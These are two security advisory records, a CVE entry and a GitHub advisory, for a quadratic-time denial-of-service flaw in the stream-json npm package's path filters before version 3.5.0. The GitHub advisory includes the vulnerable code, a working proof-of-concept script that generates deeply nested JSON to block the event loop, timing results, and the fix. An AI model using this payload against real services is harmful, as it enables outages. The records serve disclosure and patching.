{
  "affected": [
    {
      "affectedData": [
        {
          "product": "stream-json",
          "vendor": "uhop",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.5.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.5.0, the path filters pick, ignore, filter, and replace in src/core/filters/filter-base.js recompute the full path string from the nesting stack for every checkable token. Because the stack length equals the current nesting depth and a checkable token is emitted at every level, a depth D document costs O(D\u00b2) rather than O(D) to process. The issue is triggered by nesting depth rather than byte volume, including the documented pick({filter: \u0027data\u0027}) traversal-until-match path, so an application that sends untrusted JSON through a string or RegExp filter can block the Node.js event loop and cause denial of service with a small deeply nested document. The streamArray, streamObject, and streamValues streamers are not affected because they use the constant-time asm.depth getter. This issue is fixed in version 3.5.0."
    }
  ],
  "id": "CVE-2026-71429",
  "lastModified": "2026-09-03T21:17:21.660",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 6.2,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.5,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-09-03T21:17:21.660",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/uhop/stream-json/commit/a869fb98aaef9225556f49901a8f55954ff856e6"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/uhop/stream-json/security/advisories/GHSA-528h-pc64-c93x"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-407"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.4.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "stream-json"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-71429"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-03T20:27:53Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Description\n\nThe path filters `pick`, `ignore`, `filter`, and `replace` \u2014 the library\u0027s headline \"surgical extraction\" feature \u2014 recompute the full path string from the nesting stack on **every checkable token**. Because the stack length equals the current nesting depth, and a checkable token is emitted at every level, processing a document of depth *D* costs **O(D\u00b2)**, not O(D).\n\nThis is triggered by document **structure (nesting depth), not byte volume**, so a tiny payload achieves outsized CPU cost, and it is the ordinary \"traverse until the filter matches\" path \u2014 including the exact README flagship example `pick({filter: \u0027data\u0027})`. Any service that uses these filters to extract a field from an untrusted (or larger-than-memory) JSON body \u2014 the primary documented use case \u2014 can be made to block its event loop.\n\n### Affected code (v3.4.0)\n\n`src/core/filters/filter-base.js`:\n\n```js\n// L26-32 \u2014 string filter: rejoins the ENTIRE stack on every call\nconst stringFilter = (string, separator) =\u003e {\n  const stringWithSeparator = string + separator;\n  return stack =\u003e {\n    const path = stack.join(separator);              // O(depth) \u2014 every call\n    return path === string || path.startsWith(stringWithSeparator);\n  };\n};\n\n// L34-39 \u2014 regexp filter: same\nconst regExpFilter = (regExp, separator) =\u003e {\n  return stack =\u003e {\n    regExp.lastIndex = 0;\n    return regExp.test(stack.join(separator));       // O(depth) \u2014 every call\n  };\n};\n```\n\n```js\n// L194 \u2014 filter(stack, chunk) is invoked for EVERY checkable token while in the \u0027check\u0027 state\nconst action = checkableTokens[chunk.name] !== 1 ? nonCheckableAction : filter(stack, chunk) ? specialAction : defaultAction;\n```\n\n`stack` is pushed/popped on `startObject`/`startArray`/end (L239-250), so `stack.length === depth`. For a depth-*D* document that hasn\u0027t matched yet, `filter()` runs once per level and each call is O(depth) \u21d2 **O(D\u00b2)** total.\n\n**Not affected:** the `streamArray`/`streamObject`/`streamValues` streamers use `asm.depth` (an O(1) getter), so they don\u0027t exhibit this. The issue is specific to `filter-base.js` recomputing the path string.\n\n## Proof of concept\n\n```\nnpm i stream-json@3.4.0\nnode poc-quadratic-dos.mjs\n```\n\n```js\nimport parserStream from \u0027stream-json\u0027;\nimport { pick } from \u0027stream-json/filters/pick.js\u0027;\nimport chain from \u0027stream-chain\u0027;\n\nfunction run(D) {\n  const doc = \u0027{\"meta\":\u0027.repeat(D) + \u00271\u0027 + \u0027}\u0027.repeat(D); // depth D, never matches \"data\"\n  return new Promise((resolve) =\u003e {\n    const t0 = process.hrtime.bigint();\n    const pipeline = chain([parserStream(), pick({ filter: \u0027data\u0027 })]);\n    pipeline.on(\u0027data\u0027, () =\u003e {});\n    pipeline.on(\u0027end\u0027, () =\u003e resolve({ D, bytes: doc.length, ms: Number(process.hrtime.bigint() - t0) / 1e6 }));\n    pipeline.write(doc); pipeline.end();\n  });\n}\nfor (const D of [5000, 10000, 20000, 40000]) {\n  const r = await run(D);\n  console.log(`D=${r.D}  bytes=${r.bytes}  ms=${Math.round(r.ms)}`);\n}\n```\n\nMeasured (Node v24, single core, clean `npm i stream-json@3.4.0`):\n\n```\nD=5000    bytes= 45001   ms=  160\nD=10000   bytes= 90001   ms=  603   (3.8x for 2x input  -\u003e quadratic)\nD=20000   bytes=180001   ms= 2511   (4.2x)\nD=40000   bytes=360001   ms=11823   (4.7x)\n```\n\nA **~360 KB** body (pure nesting, no data) blocks the event loop for **~12 seconds**; extrapolating O(D\u00b2), ~1\u20132 MB reaches single-digit minutes of CPU on one request.\n\n## Impact\n\nRemote, unauthenticated denial of service against any application that runs untrusted JSON through `pick`/`ignore`/`filter`/`replace` with a string or RegExp filter \u2014 the documented primary use of the library. A small request pins a CPU core / blocks the Node event loop, degrading or halting the service.\n\n## Suggested fix\n\nMaintain the joined path incrementally instead of rejoining the whole stack per token:\n- On `startObject`/`startArray` push: append `separator + key` to a cached path string (and remember the pre-push length).\n- On end/pop: truncate the cached path back to the remembered length.\n- Filters test/`startsWith` against the cached string \u2014 O(1) amortized per token, making the whole traversal O(D).\n\nAlternatively expose/enforce a maximum nesting depth for the filter path check.\n\n## Resolution\n\nFixed in 3.5.0. The path filters now cap JSON nesting depth at 1024 by default and throw a RangeError beyond it; upgrading is enough. Opt out with `maxDepth: Infinity`.",
  "id": "GHSA-528h-pc64-c93x",
  "modified": "2026-09-03T20:27:53Z",
  "published": "2026-09-03T20:27:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/uhop/stream-json/security/advisories/GHSA-528h-pc64-c93x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uhop/stream-json/commit/a869fb98aaef9225556f49901a8f55954ff856e6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/uhop/stream-json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "stream-json: pick/ignore/filter/replace filters are O(depth\u00b2) on nested input \u2014 small crafted JSON blocks the event loop for seconds\u2192minutes (DoS)"
}